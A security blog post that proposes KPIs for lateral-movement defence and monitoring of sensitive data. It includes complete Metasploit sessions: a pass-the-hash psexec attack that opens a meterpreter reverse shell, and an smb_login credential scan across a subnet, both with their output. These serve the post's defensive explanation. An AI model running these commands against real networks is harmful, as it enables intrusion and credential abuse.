IT Security KPIs: 4 Effective Measurements for your Organization – pt. 2

In my last post, IT Security KPIs: 4 Effective Measurements for your Organization – pt. 1I began by analyzing common ways attackers break into networks and developed strategies to mitigate these attacks. By focusing resources on areas that attackers frequently leverage to gain access into a network, we have a better chance at defending the organization.

The result of this exercise was the development of KPIs that organizations can use to measure the effectiveness of their security program. In the previous post, I identified and discussed the first two KPIs. In this second post, I will cover the final two key performance indicators.  

As a review, here are the first two KPIs:

1. Confidence Level in Account Validity (Qualitative KPI)

We explored ways to increase confidence that usernames and passwords being leveraged in the environment are, in fact, being used by their rightful owners and not nefarious actors. We discussed how to make changes to Active Directory in order to prevent or limit password theft, and pass the hash attacks. In addition to the options we discussed in our last post, two-factor authentication is a wonderful form of protection.

2. Confidence in System Control

This indicator explored ways to ensure confidence in the systems that users leverage. We discussed patching cycles, application whitelisting, and host isolation. I also covered how to measure the success of this KPI and showed what a sample report may look like.

While we’ve set a solid foundation for our security program, there are still weaknesses that need to be addressed. Based on the sample controls I’ve addressed thus far, there is still the potential for an attacker to harvest credentials from each user they compromise. To recap, an attacker should not be able to harvest cached credentials from desktops, but unfortunately, mobile workers with laptops still are at risk.  

Unless the attacker is fortunate enough to locate the data on the victim’s laptop, they will need to move across the network. So, what systems will attackers target and how will they gain access to these systems?The easiest way for attackers to gain access to data is via a file sharing protocol. The easiest way for attackers to gain access to data is via a file sharing protocol. Click To Tweet Unfortunately, these protocols have minimal security controls; to date, there’s no way to enable 2FA on a native SMB or NFS share.

So if our attacker has access to a remote workers laptop, how will they gain access to corporate data? One of the most commonly used attack tools to accomplish this is an application called Metasploit.  

We’ll cover two tools commonly used:

1. psexec

2. smb_login

These two tools are by no means the only way of accomplishing this. You can use Python or PowerShell to accomplish the same task; however, the attack process is easiest to illustrate with the two utilities we’re mentioning here. Also, the method to detect these actions are the same for any tool the attacker may use.

 

root@kali:~# msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##


       =[ metasploit v4.2.0-dev [core:4.2 api:1.0]
+ -- --=[ 787 exploits - 425 auxiliary - 128 post
+ -- --=[ 238 payloads - 27 encoders - 8 nops
       =[ svn r14551 updated yesterday (2012.01.14)

msf > search psexec

Exploits
========

   Name                       Description
   ----                       -----------
   windows/smb/psexec         Microsoft Windows Authenticated User Code Execution
   windows/smb/smb_relay      Microsoft Windows SMB Relay Code Execution

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.57.133
LHOST => 192.168.57.133
msf exploit(psexec) > set LPORT 443
LPORT => 443
msf exploit(psexec) > set RHOST 192.168.57.131
RHOST => 192.168.57.131
msf exploit(psexec) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.57.131   yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPass                   no        The password for the specified username
   SMBUser  Administrator    yes       The username to authenticate as


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LHOST     192.168.57.133   yes       The local address
   LPORT     443              yes       The local port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
SMBPass => e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit

[*] Connecting to the server...
[*] Started reverse handler
[*] Authenticating as user 'Administrator'...
[*] Uploading payload...
[*] Created \KoVCxCjx.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.57.131[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.57.131[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (XKqtKinn - "MSSeYtOQydnRPWl")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \KoVCxCjx.exe...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.57.133:443 -> 192.168.57.131:1045)

meterpreter > shell
Process 3680 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>

 

Psexec is a tool Windows administrators may be familiar with. You can see the commands that need to be executed in order to gain access to a victim shell on a remote system.

Notice the line that reads: msf exploit (psexec) > set SMBPass e52cac67419…

The long string of alphanumeric characters shown here are the same pieces of information that an attacker was able to gain using the hashdump or run hashdump commands. But this particular method of trying to access other systems isn’t as effective as it could be. What if there was a way for an attacker to simply scan an entire network leveraging this technique? This is where the Metasploit module smb_login comes into play:

 

 

msf > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) > show options

Module options (auxiliary/scanner/smb/smb_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   ABORT_ON_LOCKOUT  false            yes       Abort the run when an account lockout is detected
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   DETECT_ANY_AUTH   true             no        Enable detection of systems accepting any authentication
   PASS_FILE                          no        File containing passwords, one per line
   PRESERVE_DOMAINS  true             no        Respect a username that contains a domain name.
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RECORD_GUEST      false            no        Record guest-privileged random logins to the database
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             445              yes       The SMB service port (TCP)
   SMBDomain         .                no        The Windows domain to use for authentication
   SMBPass                            no        The password for the specified username
   SMBUser                            no        The username to authenticate as
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

msf auxiliary(smb_login) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(smb_login) > set SMBUser victim
SMBUser => victim
msf auxiliary(smb_login) > set SMBPass s3cr3t
SMBPass => s3cr3t
msf auxiliary(smb_login) > set THREADS 50
THREADS => 50
msf auxiliary(smb_login) > run

[*] 192.168.1.100 - FAILED 0xc000006d - STATUS_LOGON_FAILURE
[*] 192.168.1.111 - FAILED 0xc000006d - STATUS_LOGON_FAILURE
[*] 192.168.1.114 - FAILED 0xc000006d - STATUS_LOGON_FAILURE
[*] 192.168.1.125 - FAILED 0xc000006d - STATUS_LOGON_FAILURE
[*] 192.168.1.116 - SUCCESSFUL LOGIN (Unix)
[*] Auxiliary module execution completed

msf auxiliary(smb_login) >

 

If you notice towards the bottom of these screen captures there are two commands of interest:

  • msf auxiliary(smb_login) > set RHOSTS 192.168.1.0/24
  • msf auxiliary(smb_login) > set SMBPass s3cr3t

Notice two things

1. The attacker can set a subnet mask to scan as noted by set RHOSTS 192.168.1.0/24.

2. The attacker is using a plain text password; however, you can also use a recovered password hash with this exploit as well.

This is a pivotal moment for an attacker. They have a shell on the victim host, a valid username, and password hash. They are scanning a large segment of your environment in an attempt to gain access to potentially critical systems. The scariest part about this process is that generally there will be no warnings from your IDS/IPS systems, your SIEM tools, and your end users will not notice any suspicious behavior because the attacker is using valid credentials.  This is one of the worst possible scenarios an organization can be in.

So, how do we protect ourselves against this situation, and how do we measure how well our security program is executing on that protection?

3. Minimization of Lateral Movement  

The goal of KPI three is to measure how much we can minimize all available lateral movement throughout the organization’s network.  This is where smart security policies and technical controls intersect.  Since we’ve seen that the majority of attacks enter the organization through endpoint systems, we should establish policies that do not allow the following types of activities:

1. Ping scans from unapproved LAN hosts

2.Port scans from unapproved LAN hosts (TCP & UDP)

3. SMB sharing between LAN users

4. Any other activity that would require endpoints to engage in peer-to-peer communication

For example, if an organization wants to enable file sharing between users, all file sharing should be done from a server within the data center. Users should not be allowed to enable and share files off of their endpoints, and users should not engage in network scanning of any kind.  If we have these policies in place, when attackers engage in scanning activities it can be easily detected. How is this activity detected? Through several options, each with their own pros and cons.  

If you have a limited budget, the most cost effective (but primitive) method is to implement Private VLANs (PVLAN) on your LAN segments. You can then enable an access control list on those ports that are members of the PVLAN. If you’re unfamiliar with PVLANs, the graphic below, taken from Cisco’s website, illustrates how a private VLAN works:

 

 

When you leverage isolated PVLANs, systems attached to the ports are simply not able to communicate amongst themselves. As previously mentioned, you place an access control list (ACL) on ports for violations of those controls. ACL violations should be forwarded to your SIEM tool of choice. Any violation should be investigated immediately, as it is an indicator of lateral movement on the network.  If you have a larger budget, you could implement a solution like Cisco’s Stealthwatch.

Stealthwatch is a netflow visibility tool; netflow consists of metadata about traffic flows in an environment. That metadata can also alert us to lateral movement an attacker may attempt.  Where a simple PVLAN access list violation tells us something bad has happened, a tool like Stealthwatch can provide much greater visibility about what actually occurred. Alarms can be set as thresholds of activity are breached. Netflow data can also provide information about application use that may violate policy, such as streaming video or music.

 

 

Finally, there are additional micro-segmentation techniques for the data center and LAN such as: VMware’s NSX, Cisco’s ACI and ISE platforms. Each of these subjects could fill an entire blog post, but if you are thinking of building a more robust security program they are definitely worth investigating.

As we’re finishing our 3rd KPI, we should take stock on the working room attackers have within our environment:

  • The attacker should be limited to a single valid username and password hash
  • The attacker cannot actively scan the local subnet or any other subnets protected by private VLANs or other network visibility tools

This situation leaves the attacker a very narrow window of opportunity, but we should seek to close the gap. The attacker could be fortunate and the endpoint they compromised could have mapped SMB shares that contain sensitive data. What is our course of action at this point?

4. Percent of Sensitive Data Monitored for Anomalous Access

I’m a realist. It’s very difficult to stop an attacker once they’ve gained access to your file shares with valid user credentials, but we shouldn’t give up. There are at least two things we can do in this situation that can give us an opportunity to discover an attacker. Again, I will present two options: one for organizations that may not have a large security budget, and a second for organizations with larger budgets.

  • Setup “honey shares” on file shares with sensitive information
  • Monitor successful file access and alert on the most sensitive data
  • Implement a technology that analysis file access behaviors, and will alert on deviation

The first two options can be implemented free of cost. Some people would consider my term “honey share” as a honey pot.  The term used is unimportant, what is important, however, is that the advantage we have here over the attacker is that they will have to look for data on file shares in order to locate their objective. If you place what appears to be a juicy target on a file share, an attacker will most likely attempt to read the files. Within Windows you can enable the successful access of files.  Note this WILL cause a massive amount of events in event viewer, but if you set up a “honey share” no valid user should be accessing it.  At a high level you need to do two things to set up object access auditing.

 

 

First, enable auditing on the folder, subfolders, and files that are sensitive, as shown above.

 

 

Second, you have to enable audit object access within group policy and ensure it’s applied to the correct systems. The same tactic can be used on a highly sensitive file share, but the amount of generated audit logs will be significant. These audit logs can be forwarded to a system like Splunk, which will summarize alerts for you. This will be helpful to reduce the volume of alerts that will be created, but to monitor all legitimate file access manually will be an intensive process. In order to reduce this burden, there are pay for products on the market that will attempt to learn user access patterns, only alerting when they believe there’s been a change in access that warrants investigation.

One of the products that performs this type of action is Varonis’s Datadvantage. Datadvantage builds a model of regular access from all your users, and will report any perceived malicious activity. Datadvantage has capabilities to scan SMB or NFS shares and report where potentially sensitive information resides. Datadvantage can also provide you with information, such as last access time, so you can start to delete old information. This reduces the amount of data available for attackers to steal, therefore reducing your risk level.

In review, we covered why we selected our KPIs — they were based on the most likely actions an attacker will take during a data breach, according to relevant security reports by Verizon, Mandiant, and Cisco.

Our objective was to protect:

  • Accounts representing authorized users
  • The systems those users are accessing
  • The network systems use to pass data
  • Types of data users access in order to complete work

There are certainly other security measures that organizations can put in place, but ultimately they will be protecting one of these four core areas within the data ecosystem.  

For a final review, I’ve outlined 4 KPIs that can be used to measure the success of our security program:

1. Confidence Level in Account Validity

2. Confidence in System Control

3. Minimization of Lateral Movement

4. Percent of Sensitive Data Monitored for Anomalous Access

When executives begin monitoring and measuring these four key areas, they can start to gain confidence that the security organization is operating effectively.  If any one of these pillars is lacking, attackers gain movement room within an organization.

What’s important, though, is that we systematically look at how attackers are actually operating in environments and pick controls that achieve asymmetric results. Carefully designed controls that cover practical attack vectors will always be more effective than controls that are selected based on vendor marketing budgets.Carefully designed controls that cover practical attack vectors will always be more effective… Click To Tweet



mm
Author: Steven Aiello
Steven is an enterprise architect with a strong client focus. His operations experience spans over 15 years. This translates into an understanding of the daily challenges for IT teams. In addition to traditional data center technologies, he also has a wide range of security and compliance experience.

Leave a Reply